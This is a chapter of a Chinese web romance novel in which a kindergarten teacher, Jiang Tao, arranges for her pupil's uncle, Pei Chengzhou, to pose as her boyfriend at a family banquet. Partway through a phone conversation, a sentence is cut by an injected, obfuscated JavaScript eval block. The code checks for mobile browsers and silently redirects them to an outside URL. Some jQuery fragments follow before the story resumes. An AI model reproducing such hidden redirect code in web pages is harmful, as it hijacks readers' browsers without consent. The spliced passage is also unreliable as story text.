裴小可又一次往反方向扭头,用力嚼送进嘴里的奶香松软的炒鸡蛋。 裴乘舟眼里挟了点笑意,在哼来哼去的小猪仔哼哼声中,用完早餐。起身离坐拿起手机的刹那,那抹浅笑,像一滴黑墨滴进蓄满清水的池中,散得干干净净,不留下任何蛛丝马迹。 同样没有留下任何痕迹的,还有列表里的纯白色头像。聊天界面一夜过去,依旧空白一片。 一整个白天的工作时间,微信被各类消息挤爆,唯独纯白色头像是异类,孤零零的一抹白,融不到红色的色彩中。 下班时间到,裴乘舟没走。手里的按压式中性笔,咔哒咔哒,有一搭没一搭没什么节奏规律地响。 又是咔哒一声,笔从桌面弹起,擦过指缝弹落。 他弯腰捡起笔,撂回桌面,笔帽不小心搭在手机上,嗡的一下,被手机的震动震到一旁。 手机在手里转一圈,翻转回正面。一条绿色弹窗提醒,居中在手机屏幕上。稍微犹豫停顿几秒,裴乘舟按灭手机屏幕。 电脑关机,顶灯熄灭,裴乘舟拎了西装外套在手里,勾上车钥匙,往停车场走。坐进车里后,才拿出塞在西服内兜的手机,点击查看。 消息界面跳转的瞬间,情绪不知为何有点紧张,呼吸不知为何没由来地错乱。 【小舅舅,你下班回来的时候,可以给我买一个草莓奶油蛋糕吗?】 一条来自裴小可的平板发来的语音消息。 裴乘舟盯着屏幕半晌没眨眼,不确定自己是松一口气,还是半凝滞住了呼吸。 他不认为这不对劲的心绪叫失望,只是单纯觉得对方的优柔寡断,不太符合他平日工作的行事风格。如果他手下的员工也是如此黏糊的工作态度,一定过不了实习期。 眼睫上下触碰,睁开。裴乘舟回了一个嗯。一手扯安全带系上,一手将手机压西服上。 车子刚启动,屏幕又陡然一亮。 他冷淡一瞥,那股说不出来的滋味,又再次如开盖的酒瓶里上涌的微小气泡,一颗接着一颗,不停冒出,堆积在一起。 11. 第 11 章 消息依旧是裴小可发来。 【小舅舅,可以再多买一个吗?要巧克力的,我想留着明天当早餐吃。】 裴乘舟脸上没什么表情,还是回了个嗯。 巧克力? 裴小可向来不爱吃巧克力味的东西,说苦,有一股臭臭焦焦的味道。虽然心里起疑,但还是绕路去裴小可爱吃的蛋糕店。一个草莓,一个巧克力。 车子刚开进院子停稳,面朝院子的落地窗唰一下打开,裴小可的身影奔跑出来。 不是迎接人的的,而是蛋糕。她欢欢喜喜接过装蛋糕的手提袋,又飞奔进屋里。 裴小可熟练拆包装盒子,仰头大声喊:“袁易舅舅,快来吃蛋糕啦,是你爱吃的巧克力味的。” 脚趿拉进拖鞋的动作一顿,裴乘舟扶着鞋柜满脸复杂。他就知道没什么好事。 袁易的身影晃了出来,双臂搭着玻璃扶手栏杆往楼下望来,抛了个不要钱的媚眼,掐嗓子说:“哇,好耶,谢谢小舅舅~” “……”裴乘舟心累,很想转身出门回去加班。他用了点劲掐裴小可的脸蛋,这才分了丁点眼神给二楼的人,“你怎么来了。” “没带钥匙,过来借宿两晚。”袁易耸耸肩,无计可施般两手一摊。 裴乘舟不知道该摆出什么表情,送给找借口找得如此拙劣的人。他和袁易是发小,相识逾二十年。手指头一动,眼珠子一转,就知道这家伙憋什么成分的坏水。 他嗤道:“酒店顶层的总统套房换门锁了?你家房子的大门也换门锁了?” “昂,对啊。”袁易答得理直气壮,“都换了。” “……恰巧卡里没钱,手机也不能用是吧?”裴乘舟冷言冷语。 “知我者莫若汝,知我者莫若汝呐。”袁易挂着嬉笑,从楼上下来。 一天天的,一问就没空一问就没空,是论人啊,还是论事呢?换个人问就有空了是吧? 他倒要蹲在这里亲眼看看,这家伙五一那天要去干什么。 裴乘舟勾着西服外套,在玄关无语沉默。胳膊肘往外拐的裴小可献宝似地送完蛋糕后,想起胳膊肘里的人,跑跑跳跳过来,嘴里说出凉飕飕的话:“小舅舅,袁易舅舅不能住在这里吗?他答应了陪我玩飞行棋。” 裴乘舟手指点了点裴小可脑门,“你可张点心吧,裴小可。别哪天在外头被别人一哄,就被骗走了。” 玩个飞行棋就被收买了,还屁颠屁颠给人送蛋糕。 “小舅舅,我是五岁,又不是五个月,才不会那么容易被别人骗走。袁易舅舅又不是别人。”裴小可一副小大人模样,摇头晃脑,“而且我长大啦,下学期就要念大班了。” “行,你快老成大班的小孩了,乖,去吃蛋糕吧。”裴乘舟头疼揉揉额角,打发走小孩。 袁易双手抄兜,走过来撞了撞发小的肩膀。裴乘舟斜睨他,脚下移开一步,边上的人狗皮膏药般,又黏过来,“我跟你说,你还是经验少了。不过,跟你这万年单身的孤家寡人说不明白。” 裴乘舟呵了声,用个胳膊隔开他,边走边道:“你最好别说。” 袁易三两步跟上,也不管他想不想听,袁老师课堂自动开课:“哄小孩吧,就跟哄女人一样,该哄就得哄,成天讲大道理,谁乐意听?换你天天被教训,你乐意?” “有时候直接了当主动出击,哎,也许会得到一个出其不意的效果。” 裴乘舟在卧室门口停下,扶着门框,问:“说完了?” “没啊,这可说来——” 砰—— 房门紧紧闭上。袁易后半截话,从门缝底下钻来:“话长了。” 裴乘舟脱力陷进沙发。 清净了。 世界终于清净了。 怎料,下一秒—— 不知道什么时候不小心调到最大音量的手机铃声在西装内兜炸开,像有一面锣鼓,趁人不注意时,狠狠在耳旁敲响,心脏惊乍得横冲直撞扑通扑通直跳。裴乘舟强忍快要跳出心口的心跳,将手机切换成静音,才接通。 一通工作电话。采购部门经理打来。 餐厅前两年与一家水果供应商签订的合作合同即将到期,续签在即,乙方没经过商议自行修改合同条款,法务审查时发现了异常。经追查发现,那边的运输供应链出现了问题,负责人给出的说法是,老董事长知晓修改后的条款。 裴乘舟蹙眉听完,剧烈的心跳一头扎进缓冲地带,一下跌落平均值。思忖片刻,他直接让采购经理着手寻找新的供应商,尽快提交方案。 电话挂断后,他给老裴留了言。不知道现在他父母又往哪个没有信号的地方钻,也不知道能不能及时收到消息。 没想到老裴这次回得挺快。 他说那边糊涂,加杠杆进了不该这个时候进场的房地产行业,还说不用顾念他和那边老总的旧友关系,该怎么处理就怎么处理。最后一条消息,是回程的机票信息。 裴乘舟只简单回【知道了】三个字,将接机时间记录进日程备忘录里。消息回完,手机没放下,默了片刻,他点开列表中的头像,编辑一条消息,点击发送。 消息没有任何阻碍,准确送达。 叮咚一声。 微信自带的提示音响起。 江萄对着稍显陌生的头像,有些愣神。裴乘舟没问她合约男女朋友的事,没问她怎么还没发送见面时间地点,反而问起了裴小可。 【江老师,裴小可小朋友今天在幼儿园的表现还好吗?】 问题不刁钻,也没有玩文字游戏设下陷阱。只需要如实回答就好。 回复的句子编辑到一半,阮淑塞了一盏白瓷炖盅进她手里,问道:“你那个假男朋友的事情,准备得如何了?” “差不多了……吧。”江萄用勺子搅了搅里头的花胶鸡汤,咽下一口汤后,说,“妈,我觉得你说的有点道理。顺了奶奶的心意,说不定也没有想象的那么坏。” 阮淑静静看向自己闺女几秒,咔呲咔呲嗑瓜子声响起,“你真是半点没随我沉稳的性子,净捡你爸想一出是一出三分钟热度的坏毛病。” 江萄放下炖盅,殷勤给她捶背,从善如流道:“那我还是随你随的多一些。我那烘焙工作室好好坚持着呢,前两天还接到好几笔新订单,客户群快满一百人了。”说完,特别小声囔了一句,“再说了,我也没有很三分钟热度吧。” “噢。你小时候看见别人学跳舞,也吵着学,画画、钢琴、各种兴趣班都报了一遍,你伸出手指头数一数,有哪一样学到家了?这还不够三分钟热度?” 江萄听得一个头两个大,抬臂箍住阮淑的肩膀,“好了好了,妈妈妈,你别揭我短了。” 阮淑回忆起了什么,又好笑地补一句:“那时候我和你爸督促你要坚持下去,你可倒好,蹲到马路边上嚎啕大哭,边哭边说自己是捡来的,说我们虐待你。你也就跟你奶奶学搓——”她戛然顿住,推走趴在肩头耷拉脸的闺女,“行了,你怎么选择,妈不干涉你,但不管怎么选,都要把事情好好给落实处理好了。要是选假男朋友,记得跟人家说清楚,听见了没?” 江萄无精打采唔一声,阮淑扯了扯她的耳垂,又再次叮嘱:“别又左耳进右耳出的,小长假人多车堵路况不好,你不提前跟人家说,让对方有时间准备,真出了什么状况,我可救不了你。” “哎呀,知道知道,我心里有数。”江萄三两口喝完炖汤,饭也不吃了,放炖盅进洗碗池,溜得飞快,“我先回去做小饼干了。” 回到家,江萄推开突兀出现在客厅墙壁的门,直奔和她所居住公寓户型一模一样的房子改造而成的工作室,开始忙碌客户订单。 曲奇饼干的材料已经准备齐全,三种颜色三种口味,开心果、可可、玫瑰原味。待最后一个烤盘送烤箱,她拉来一个高脚椅坐下,拿出手机继续编辑那条没发送出去的消息。默读一遍,检查有无错字漏字,点击发送。 【裴先生,不好意思,刚看到消息。裴小可小朋友最近的表现特别棒,积极参加户外活动,踊跃回答问题,和其他小朋友相处得很融洽,比之前的表现有很大的进步。】 信息送达不消一秒。裴乘舟看到消息,却是在半个小时之后。 他莫名其妙被卷入了无聊的飞行棋游戏中。不玩还不行,一个箍他左腿,一个坐他右脚上。 最后一颗飞机棋子行至终点。裴乘舟拂走把他大腿当床的芭比娃娃,手心撑地毯,起身。 一左一右,一大一小,两颗脑袋同步唰一下扭头,连问出的问题也同步。 “你去哪儿?” “小舅舅,你要去哪里?” “……洗手间。”裴乘舟扔下话,头也不回上二楼,进房间。 手机扔在床头充电,本只是随意瞟过屏幕,下一秒,眼睛黏在消息提醒通知上。他快速浏览对话框里的文字。 一句话,三五秒的时间。裴乘舟偏了偏脖颈,带着不太确定的疑惑。 没了? 他下拉页面,刷新数据。 真没了。 一句话,很官方客套的评语。 江萄找到别人帮忙了? 江萄找到别人帮忙了。 从疑问句到肯定句的转变,中间经历两个小时。这两个小时里,塞了别的活动计划:两盘新的飞行棋棋局、两集小猪佩奇,以及袁易机关枪似的侃大山。 别墅大灯熄灭,裴乘舟洗去一身带娃真累的疲惫感,裹着潮气从浴室出来,一抬眼,袁易正环抱双臂,斜斜倚靠门框边。脸上的表情说不清,一脸正色,眼睛半眯。 “五一中午十二点、江城、喜迎楼。”袁易突然吐出几个字。 “什——”么? 裴乘舟眉头拧起,霎时反应过来,“你看我手机了?” “我可没有噢。”音调拉长,上坡又下坡后,绕了个圈收尾,“只是刚好经过你房间,听见铃声在响,恰巧帮你接了一通电话。”袁易示清白后,带着一副吃到瓜的腔调,“那姑娘,谁啊?” 他就说呢,怎么一问就没空,原来是性别不对,姓名不对。 裴乘舟挨到床边,拿手机查看通话记录。还真有一则陌生来电,十分钟前。他没回答,反而用脚下逐客令。 袁易差点被紧闭的房门拍一鼻子灰。 行,不说拉倒。他有的是办法打探。 门外的脚步声远去,裴乘舟这才摁亮手机。 指腹悬在陌生的来电号码上,进行最后的思量。 拨打、接通、沟通、挂断,很简单就能完成一通电话指令。他一天需要处理无数电话,极少产生迟疑的瞬间。 这一空拍,就像一根平直无限朝前延伸的线条,被拆散成无数的点状,其中某一点正跳脱秩序之外,朝另一个空间的点靠近的错觉。 手指一错,不小心触碰到号码,裴乘舟视线微滞,不好再挂断,有种为不小心拨错电话欲盖弥彰的嫌疑。 “喂?裴先生?” 脑子不合时宜顿锈起来,缺油的齿轮,一秒钟转不了几圈。听筒里传出很轻、很柔的一声,轻到托不起一根羽毛的重量。而那微扬尾音,带了点意味不明的探究。 裴乘舟不知为何想起书房里的音响。左、右声道与混声独自倾听,会听到不一样的声音。 手机贴在左耳,清浅的声音伴着轻微呼吸如单声道入耳,与面对面交流,全然不一样的感觉。 就像…… 就像她正附在他耳畔低语。 怔神之际,江萄又重复了一声。 “江老师,抱歉,这么晚打扰到你。”裴乘舟调整握紧手机的手指,以免又误触到其他按键。 “没有没有,应该是我向你说一声打扰了才对。” “客气了,江老师。”裴乘舟说,“刚才我朋友已经传达了消息。” “那就好,我还打算明早再和你确认一次。”江萄解释,“我本来想直接给你发微信,但有点担心登录幼儿园电脑的时候同步消息,如果不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310809|198832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心被同事看到了,影响不好。” “能理解。” 江萄再一次报上地点,裴乘舟配合点开地图输入核对,具体到城区街道门牌号。对完细节后,她深吸气,郑重道:“裴先生,五一那天,就拜托你了。你露个面就好,其他的都交给我。” “好。”第一次在言语上体会被保护的感觉,裴乘舟没忍住低笑一声,旋即抿了唇,怕一个不小心被电话那头的人听去。他认真回,“放心,一定准时到达,全力配合。” 简短的通话结束,江萄扔了手机,双手托起脸颊上下揉搓。她终于琢磨明白,每次碰上裴乘舟,那种说不出来的感觉从何而来了。 违和。 他的外在形象与言行上的谦逊相悖,有种很强烈的违和感。如果不是这段时间的多次接触,她真的以为他是一个很难相处的人。 虽然痞气和狠戾更贴他形象,不过谦逊一点好啊,她奶奶就喜欢谦逊的小年轻。他一定能哄得奶奶开怀大笑,奶奶一开心,这不万事都能迎刃而解了? 七上八下的心,还剩下最后的会晤环节就能狠狠落下。 江萄重重倒回被窝里,才翻了个身,又猛地爬起。两步移到桌前找干净的A4纸,双手举起纸张晒月亮,下一步,将纸剪成小鱼的形状放到枕头下,嘴里念神秘咒语。这是从网上学来的许愿小妙招。 她希望五一那天,一切顺利。 零点一过,四月的最后一天如约而至。 江萄起了个大早,去上班前,先将客户定做的曲奇饼干都打包完毕,拉去水果店,方便同城快递员取货。 江同志回老家后,阮淑就在水果店这边住下,见江萄上楼拿早餐,拉住人多问了一嘴:事情都落实好了? 江萄嘴咬馒头,空不出嘴,用手比了个OK。 阮淑又追问:找了谁帮忙? 江萄答得含糊:我绯闻对象。 在阮淑的一声调侃中,她慌慌忙忙去上班。显得特别热爱工作。 假期前夕,一个个归心似箭,尤其临近下班时刻。平时很爱岗敬业的汪灵玉,只有半边屁股挨着椅子,她说在五月底预产期前,最后再去旅一次游,出行计划已经全部安排好。 江萄和其他的同事们一对比,是动作最慢的一个。收拾东西慢悠悠,走路也慢悠悠,跟在公园遛弯似的。反正回家就五分钟的功夫,她和阮淑吃完饭餐才启程,根本不用着急。 从宜城到江城,三个小时车程,除了某些狭小的国道路段拥堵了一会儿外,倒也算顺利。 一下车,江萄就赶紧掏出冻干小礼物,和一个多星期没见的江四喜维系亲情。她搂着圆滚滚的江四喜玩到将近半夜十二点,被父母催促早点去休息,别耽误了明天的正事。 其实她有点希望明天别到来,时间过慢一点更好。可惜,事物运行规律并不依附她的意识而存在。 次日没到九点,她就被阮淑拽醒,说江同志让他们早点去迎宾。 昨夜想了些乱七八糟的事情,几乎后半夜才有困意,快要睡着之际,窝在床尾的江四喜打起呼噜,害她又多辗转半个小时。这会儿,她迷瞪着眼睛重重打哈欠,心里不住腹诽,就一家人吃饭,加上近一点的亲戚,一个二十人大圆桌就能坐下,还需要迎什么宾,什么时候这么讲究仪式感了? 一切收拾妥当,到了喜迎楼,江萄傻眼了。 哪里是一桌,而是三楼顶层一整个小型宴会厅,一共八桌。得亏预定的这家喜迎楼是有些年头的老字号酒楼老店,占地面积不大,不然就新店那面积,不得直奔好几十桌而去。现在唯一的好消息,主桌在包间里。 她现在只有一个念头:玩脱了。 意思是,她可能要和裴小可她小舅舅接受这么一大群人的视线洗礼? 按照计划,她原本打算拉假男朋友来溜一圈,中途借工作繁忙离开,如果后面再问起,就说性格不合,分手了。 现在这个场面对她而言,根本就是菜鸟直接硬刚终极BOSS。哪里是骑虎难下,简直是骑恐龙难下。 江萄眼皮颤,嘴角颤,声音也在颤:“妈,不、不是说好就一家人吃饭吗?” 她第一次知道,原来他们家还有这么多亲戚?怎么逢年过节一点动静也没有? 阮淑也皱起眉头,不确定地嘶了一声。 “妈,你觉得我一会儿偷偷带着假男朋友开溜的几率有多大?”江萄忽然问。 起床后,她看到了短信。裴乘舟说已经在路上,路况很好。算算时间,差不多在十分钟之内,就会抵达喜迎楼。 出门时,江同志和她们分开,去另一处宅院接奶奶,现在已经在来酒楼的路上。两边极有可能一前一后到达。 “妈,如果一会儿奶奶来了,你帮我打个掩护。我现在去给假男友打个电话,让他别来了。”她眼睛闭了闭,狠了心。一个人担下,总好过再拉一个无辜的人下水。他是裴小可的小舅舅,是她学生的家长,良心难安呐! 说完,没等阮淑开口,她溜去酒楼后头的停车场,找了个还算隐蔽位置,既方便观察,又方便躲避。 江萄探头探脑往后瞄一眼,背过身拨打电话。她头一次觉得等待电话的接通如此漫长,快把手指头啃秃,那几声吵人的嘟嘟嘟声还在继续响着。 蓦地,有铃声从某个方向传来。由远及近,接着停下。听筒里的嘟嘟声与之同步。 裴乘舟到了? 她正想着循声张望,忽然—— “萄萄。” 那声猝然的呼唤,是奶奶的声音。声线有些苍老,但那醇厚悠长的回响,却像远方劈响的闷雷,一下劈在了头顶。 江萄一下攥紧手机,脊背犹如捆上木板,支愣、僵硬,转身的动作慢得像蜗牛。 待转过身后,她眼前一黑,彻底无法思考。 什么……情况? 裴乘舟正搀扶她的奶奶,迎面走来。 再一眨眼,她的手被包裹进温热的手心,整个人被拥进温暖怀抱中。